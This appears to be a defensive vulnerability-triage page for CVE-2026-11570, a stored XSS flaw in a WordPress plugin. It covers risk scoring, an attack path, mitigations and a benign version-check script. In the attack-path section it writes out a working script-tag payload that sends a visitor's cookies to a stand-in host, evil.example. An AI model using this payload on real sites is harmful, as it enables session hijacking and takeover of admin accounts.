Someone left a guest book open in a closet nobody visits, and forgot to check the ink for poison
CVE-2026-11570 is a stored cross-site scripting (XSS) flaw in the User Submitted Posts WordPress plugin, versions prior to 20260608. The plugin lets unauthenticated visitors submit posts via a front-end form. The author-name field is stored in the database without escaping and later rendered raw inside an admin-configured display template. An attacker submits a post with a crafted <script> payload in the author name; when any user — including a site admin — views the page where that post is displayed, the script fires in their browser session. The catch: the vulnerable rendering path is only active when a non-default display option is enabled in the plugin's settings, and the plugin itself is installed on roughly 10,000 WordPress sites worldwide.
The vendor's MEDIUM / 4.2 score is already conservative, and in practice it's still generous. The CVSS vector correctly captures High attack complexity (AC:H) and the need for user interaction (UI:R), but it doesn't price in the vanishingly small install base or the non-default configuration gate. No exploitation has been observed in the wild, no proof-of-concept code is publicly circulating, EPSS sits at 0.22% (bottom quartile), and CISA has not added this to the KEV catalog. For a 10,000-host enterprise fleet, the probability that *any* host runs this plugin *and* has the non-default option enabled is near zero. This is backlog hygiene, not a fire drill.
4 steps from start to impact.
Identify a target running the vulnerable plugin
readme.txt or the user-submitted-posts directory fingerprint. WPScan, Nuclei, or manual curl checks against /wp-content/plugins/user-submitted-posts/readme.txt reveal the version string.- Target site runs WordPress
- User Submitted Posts plugin is installed and active at a version < 20260608
- Only ~10,000 sites worldwide use this plugin — finding a valuable target is a needle-in-a-haystack exercise
- Automated plugin scanners (WPScan, Wordfence) will flag outdated plugins before an external attacker reaches them
Confirm non-default display option is enabled
- Non-default display template option is enabled in plugin settings
- Default installs are not vulnerable — the admin must have deliberately changed a display setting
- No remote fingerprinting method to pre-qualify targets without trial-and-error submissions
Submit a malicious post via the front-end form
<script>document.location='https://evil.example/steal?c='+document.cookie</script>. The post is submitted and stored in the WordPress database. If the site has moderation enabled (default), the post sits in a pending queue until an admin approves it.- Front-end submission form is publicly accessible
- Post moderation is either disabled or the admin approves the poisoned post
- WordPress default is to hold submitted posts for moderation — the admin must approve the malicious post before it renders
- Anti-spam plugins (Akismet, reCAPTCHA) or WAF rules may strip or block script tags in form submissions
<script> in form fields. Wordfence, Sucuri, and Cloudflare WAF all have stored-XSS heuristic rules that flag this pattern.Victim views the rendered page
- A user (ideally an admin) visits the page containing the rendered post
- The victim's browser has JavaScript enabled
- HttpOnly and SameSite cookie flags on modern WordPress installs limit cookie theft via
document.cookie - CSP headers, if configured, block inline script execution entirely
- The blast radius is a single WordPress site, not an infrastructure-level compromise
<script> tags in POST body parameters. This breaks step 3 of the attack path (malicious submission) without touching the plugin. Deploy as standard WordPress hardening.script-src 'self') prevents the injected payload from executing even if it renders in the DOM. This is a general XSS defense-in-depth measure for any WordPress site.- Network segmentation — This is a web application vulnerability exploited via normal HTTP form submissions. Network-level controls don't help unless you block all public access to the WordPress site entirely.
- EDR/endpoint detection — The attack executes JavaScript in the victim's browser, not on the server's OS. No endpoint agent will see the XSS payload fire.
- MFA on WordPress admin — MFA protects the login form but does nothing against session hijacking via XSS once the admin is already authenticated and browsing the site.
The supporting signals.
| In-the-Wild Exploitation | None observed. Not listed in CISA KEV. No GreyNoise tags, no Shadowserver reports, no campaign attribution as of 2026-10-02. |
|---|---|
| Proof-of-Concept | No public PoC found. Checked GitHub for repos matching CVE-2026-11570, checked pocindex.io aggregator, ExploitDB, and Nuclei template index — no results. Exploitation is trivial in concept (inject <script> in a form field) but requires the non-default config. |
| EPSS Score | 0.00219 (0.22%) — bottom quartile. FIRST's model sees near-zero exploitation probability in the next 30 days. |
| CISA KEV Status | Not listed. No federal deadline applies. |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N — Network-reachable but High complexity (non-default config gate), requires user interaction (victim must view page), no privilege needed to submit, Unchanged scope, low confidentiality and integrity impact, no availability impact. |
| Affected Versions | All versions of User Submitted Posts prior to 20260608. The plugin uses date-based versioning (YYYYMMDD). |
| Fixed Version | 20260608 (released June 8, 2026). Current latest is 20260916. |
| Install Base | ~10,000 active WordPress installations per wordpress.org. This is a niche community-content plugin, not a core infrastructure component. |
| Disclosure Timeline | Fixed 2026-06-08, disclosed publicly 2026-07-01. WPScan ID: 35c33c56-5b12-4be5-9d45-68f47cd854ec. |
| Researcher / Reporter | Not publicly credited in available advisories. Discovered via WPScan's vulnerability disclosure program. |
Sources.
Why this verdict
- Non-default configuration gate (AC:H): The vulnerable code path only fires when the site admin has enabled a non-default display template option. Default installs are not affected. This is already reflected in the CVSS AC:H component but still under-weighted — most plugin users never touch advanced display settings.
- Microscopic install base: ~10,000 active installations worldwide. For a 10,000-host enterprise, the expected number of internal hosts running this niche WordPress content-submission plugin with the non-default display option is effectively zero.
- No exploitation signal whatsoever: EPSS 0.22%, no KEV listing, no GreyNoise/Shadowserver tags, no public PoC, no campaign attribution. The vuln has been public for 3 months with zero observed weaponization.
- Multiple layered friction points: Default WordPress post moderation queues the poisoned post. Anti-spam plugins and WAF rules strip inline
<script>. HttpOnly/SameSite cookies limit cookie theft. CSP headers block inline execution. Each layer independently degrades the attack. - Role multiplier: WordPress sites running User Submitted Posts are content/community sites — they are NOT identity providers, domain controllers, hypervisors, CI/CD systems, backup infrastructure, or network edge appliances. A successful XSS compromises a single WordPress site's admin session. The blast radius is host-level at most (if the attacker chains to RCE via plugin editor), not domain/fleet/supply-chain scale. No high-value role floor applies.
Why not higher?
There is no scenario where this vulnerability produces fleet-scale, identity-scale, or supply-chain impact. The affected component is a niche WordPress plugin with 10K installs, gated behind a non-default config, with no exploitation evidence after 3 months of public disclosure. Even a successful chain tops out at single-site WordPress admin compromise — serious for that one blog, irrelevant to enterprise infrastructure.
Why not lower?
It is still a stored XSS reachable by unauthenticated attackers over the network, and if the non-default config happens to be enabled, the payload persists and fires on every page view. An attacker who lands admin session access can install a web shell. The theoretical impact on a successfully targeted site is real — it just almost never applies in enterprise environments. IGNORE would overstate how benign stored XSS is when the path does exist.
Crowdsourced verification payload.
Run this script on the WordPress server (or any host with filesystem access to the WordPress installation directory) as a user with read access to the plugin directory. Invoke with: bash check_cve_2026_11570.sh /var/www/html (pass the WordPress root path as the first argument). No elevated privileges required — just read access to wp-content/plugins/.
#!/usr/bin/env bash
# check_cve_2026_11570.sh — Detect CVE-2026-11570 in User Submitted Posts plugin
# Usage: bash check_cve_2026_11570.sh /path/to/wordpress
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -euo pipefail
WP_ROOT="${1:?Usage: $0 /path/to/wordpress}"
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/user-submitted-posts"
README="$PLUGIN_DIR/readme.txt"
MAIN_PHP="$PLUGIN_DIR/user-submitted-posts.php"
FIXED_VERSION=20260608
if [ ! -d "$PLUGIN_DIR" ]; then
echo "UNKNOWN — User Submitted Posts plugin is not installed at $PLUGIN_DIR"
exit 2
fi
# Try to extract version from main PHP file header
VERSION=""
if [ -f "$MAIN_PHP" ]; then
VERSION=$(grep -i '^[[:space:]]*\*[[:space:]]*Version:' "$MAIN_PHP" | head -1 | sed 's/.*Version:[[:space:]]*//' | tr -d '[:space:]')
fi
# Fallback: try readme.txt Stable tag
if [ -z "$VERSION" ] && [ -f "$README" ]; then
VERSION=$(grep -i '^Stable tag:' "$README" | head -1 | sed 's/.*Stable tag:[[:space:]]*//' | tr -d '[:space:]')
fi
if [ -z "$VERSION" ]; then
echo "UNKNOWN — Could not determine plugin version from $PLUGIN_DIR"
exit 2
fi
echo "Detected User Submitted Posts version: $VERSION"
# Compare as integers (plugin uses YYYYMMDD versioning)
if [[ "$VERSION" =~ ^[0-9]+$ ]]; then
if [ "$VERSION" -ge "$FIXED_VERSION" ]; then
echo "PATCHED — Version $VERSION >= $FIXED_VERSION (CVE-2026-11570 fix)"
exit 0
else
echo "VULNERABLE — Version $VERSION < $FIXED_VERSION (CVE-2026-11570 applies)"
exit 1
fi
else
echo "UNKNOWN — Version string '$VERSION' is not in expected YYYYMMDD format"
exit 2
fi